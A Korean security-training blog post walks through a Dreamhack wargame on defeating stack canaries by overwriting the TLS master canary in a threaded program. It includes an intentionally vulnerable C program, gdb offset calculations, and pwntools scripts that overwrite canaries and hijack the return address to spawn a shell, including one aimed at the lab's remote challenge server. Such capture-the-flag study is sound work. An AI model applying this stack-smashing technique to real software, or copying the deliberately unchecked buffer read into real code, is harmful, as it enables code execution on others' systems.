본문 바로가기
Security/System Hacking

[Dreamhack System Hacking Advanced] STAGE 3 - 함께 실습

by 단월໒꒱ 2022. 9. 18.

 

Exploit Tech: Master Canary

 

  마스터 카나리는 로더에서 할당한 TLS 영역에 존재하고, 해당 페이지는 읽기 및 쓰기 권한이 있다. 이번에는 함수에서 카나리를 스택 버퍼에 삽입할 때 참조하는 마스터 카나리를 덮어쓰는 실습을 할 예정이다.

 

  다음은 이번 실습에서 사용할 예제 코드이다.

 

 

// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
void thread_routine() {
  char buf[256];
  int size = 0;
  printf("Size: ");
  scanf("%d", &size);
  printf("Data: ");
  read(0, buf, size);
}
int main() {
  pthread_t thread_t;
  init();
  if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
    perror("thread create error:");
    exit(0);
  }
  pthread_join(thread_t, 0);
  return 0;
}

 

 

Thread Stack

 

  스레드 함수에서 선언된 변수는 일반적인 함수에서 사용하는 스택 영역이 아닌 TLS와 인접한 영역에 할당된다. 그러나 버퍼를 할당했을 때 TLS 영역에 존재하는 마스터 카나리 값을 참조한다는 점은 같다.

 

  다음은 pthread_create 함수 코드이다.

 

 

#define THREAD_COPY_STACK_GUARD(descr) \
  ((descr)->header.stack_guard						      \
   = THREAD_GETMEM (THREAD_SELF, header.stack_guard))
int
__pthread_create_2_1 (pthread_t *newthread, const pthread_attr_t *attr,
		      void *(*start_routine) (void *), void *arg) 
{
    ...
    #ifdef THREAD_COPY_STACK_GUARD
    THREAD_COPY_STACK_GUARD (pd);
    #endif
    /* Copy the pointer guard value.  */
    #ifdef THREAD_COPY_POINTER_GUARD
    THREAD_COPY_POINTER_GUARD (pd);
    #endif
    /* Verify the sysinfo bits were copied in allocate_stack if needed.  */
    #ifdef NEED_DL_SYSINFO
    CHECK_THREAD_SYSINFO (pd);
    #endif
    ...
}

 

 

  코드를 살펴보면, THREAD_COPY_STACK_GUARD 매크로를 통해 header.stack_gaurd에 위치하는 마스터 카나리 값을 가져오는 것을 확인할 수 있다.

 

  스레드에서 할당한 변수는 마스터 카나리가 위치하는 주소보다 낮은 주소에 있기 때문에 스택 버퍼 오버플로우가 발생한다면 마스터 카나리를 덮어쓸 수 있다. 모든 함수에서는 함수가 실행될 때마다 FS 세그먼트 레지스터를 참조해 해당 주소로부터 0x28 바이트만큼 떨어진 마스터 카나리를 가져온다. 마스터 카나리를 임의의 값으로 조작할 수 있다면, 스택 카나리를 알아낼 필요 없이 익스플로잇 할 수 있다.

 

 

 

코드 분석

 

  코드를 보면 pthread_create 함수를 통해 스레드를 생성하여 thread_routine을 실행한다. 해당 함수에서 입력한 size만큼 256 바이트 버퍼에 값을 입력할 수 있으므로 스택 버퍼 오버플로우가 발생하게 된다.

 

 

 

익스플로잇

 

익스플로잇 설계

 

 1. 주소 거리 계산

 

  스택 버퍼 오버플로우 취약점으로 마스터 카나리를 덮어쓰기 위해서는 스레드에서 할당한 버퍼 주소와 마스터 카나리 주소의 거리를 계산해야 한다. 프로세스가 다시 시작되어도 상대적인 주소 차이는 매번 같으며, 이는 디버깅을 통해 알아낼 수 있다.

 

 2. 마스터 카나리 변조

 

  버퍼 주소와 마스터 카나리의 간격을 알아냈다면 임의의 바이트를 채운 후 마스터 카나리를 원하는 값으로 덮어씌운다. 마스터 카나리가 덮이지 않았다면, 함수가 종료되면서 _stack_chk_failed 함수가 호출될 것이다.

 

 3. RIP 조작

 

  마스터 카나리를 변조하면서 이미 스택 카나리와 RBP, 그리고 리턴 주소가 임의의 데이터로 덮여있다. 버퍼 뒷부분에 위치하는 스택 카나리를 변조한 마스터 카나리 값과 똑같이 조작하고, 리턴 주소를 예제에서 주어진 giveshell 함수로 덮어써서 셸을 획득한다.

 

 

주소 거리 계산

 

  디버깅을 통해 스택 버퍼와 마스터 카나리 주소의 간격을 알아낸다. 먼저, 버퍼 주소를 알아내기 위해 다음과 같이 thread_routine 함수의 디스어셈블 결과를 확인하고 브레이크포인트를 설정한다.

 

$ disas thread_routine

$ b *thread_routine+4

 

  디스어셈블 결과를 보면, read 함수에서 [rbp-0x110] 위치에 입력받는 것을 알 수 있다. 따라서 설정한 브레이크포인트까지 실행하고, 확인한 rbp-0x110 주소가 스택 버퍼 주소가 된다.

 

$ gdb-peda$ rgdb-peda

$ x/x ($rbp-0x110)0x7ffffedcfde0: 0x0000000000000000

 

  스택 버퍼 주소를 알아냈다면, 마스터 카나리의 주소를 알아내고 두 주소의 간격을 알아내야 한다. 다음은 마스터 카나리 주소를 알아내고, 스택 버퍼 주소와의 거리를 계산한 모습이다.

 

 

 

 

  gdb에서 $fs_base를 통해 FS 세그먼트 레지스터에 저장된 주소를 불러오고, 해당 주소에서 0x28을 더해 마스터 카나리가 위치한 주소를 알아낸다. 이후에 앞서 알아낸 스택 버퍼 주소와 뺄셈하여 간격을 알아낸다. 연산 결과를 확인해보면 0x948만큼 떨어져 있는 것을 확인할 수 있다.

 

 

마스터 카나리 변조

  스택 버퍼 주소와 마스터 카나리의 간격이 0x948 바이트이므로, 0x948 바이트 패딩과 임의의 8 바이트 값을 입력하면 마스터 카나리를 원하는 값으로 조작할 수 있다.

 

다음은 마스터 카나리를 0x4141414141414141로 조작한 익스플로잇 코드이다. 

 

 

# Name: mc_thread.py
from pwn import *

p = process("./mc_thread")

payload = "A"*0x948
payload += p64(0x4141414141414141)

inp_sz = len(payload)

p.sendlineafter("Size: ", str(inp_sz))
p.sendlineafter("Data: ", payload)

p.interactive()

 

 

  코드를 살펴보면, 스택 버퍼와 RBP, 그리고 리턴 주소를 모두 “A”로 덮었다. 카나리와 덮어쓰인 카나리의 값이 같으므로 스택 카나리 검사를 우회할 수 있다.

 

 

  다음은 익스플로잇 실행 결과로, Abort가 발생하지 않는 것을 확인할 수 있다.

 

 

 

 

RIP 조작

 

  마스터 카나리를 조작했다면, 조작한 카나리를 덮어쓰고 리턴 주소를 주어진 giveshell 함수로 덮어쓰면 셸을 획득할 수 있다. 

 

  다음은 스택 버퍼를 가득 채우고, 조작한 카나리와 같은 값으로 덮어쓴 다음 리턴 주소를 giveshell로 조작한 익스플로잇 코드이다.

 

 

# Name: mc_thread.py
from pwn import *

p = process("./mc_thread")
elf = ELF('./mc_thread')

giveshell = elf.symbols['giveshell']

payload = "A"*264
payload += "A"*8 # canary
payload += "B"*8
payload += p64(giveshell)

payload += "A"*(0x948-len(payload))
payload += p64(0x4141414141414141) # master canary

inp_sz = len(payload)

p.sendlineafter("Size: ", str(inp_sz))
p.sendlineafter("Data: ", payload)

p.interactive()

 

 

익스플로잇 코드를 실행한 결과는 다음과 같다.

 

 

 

 

 

 

Wargame: Master Canary

 

 

 

 

  문제 파일을 다운받아준다.

 

  위에서 다뤘던 코드와 같으므로 위에서 했던대로 익스플로잇 코드를 작성해준다.

 

 

# Name: mc_thread.py
from pwn import *

p = remote("host3.dreamhack.games", 16660)
elf = ELF('./mc_thread')

giveshell = elf.symbols['giveshell']

payload = b"A"*264
payload += b"A"*8 # canary
payload += b"B"*8
payload += p64(giveshell)

payload += b"A"*(0x948-len(payload))
payload += p64(0x4141414141414141) # master canary

inp_sz = len(payload)

p.sendlineafter("Size: ", str(inp_sz))
p.sendlineafter("Data: ", payload)

p.interactive()

  

 

  이것도 마찬가지로 포트에 접속이 안돼서... 로컬로 id 구하는 걸로 마무리했다.

 

 

 

 

 

 

댓글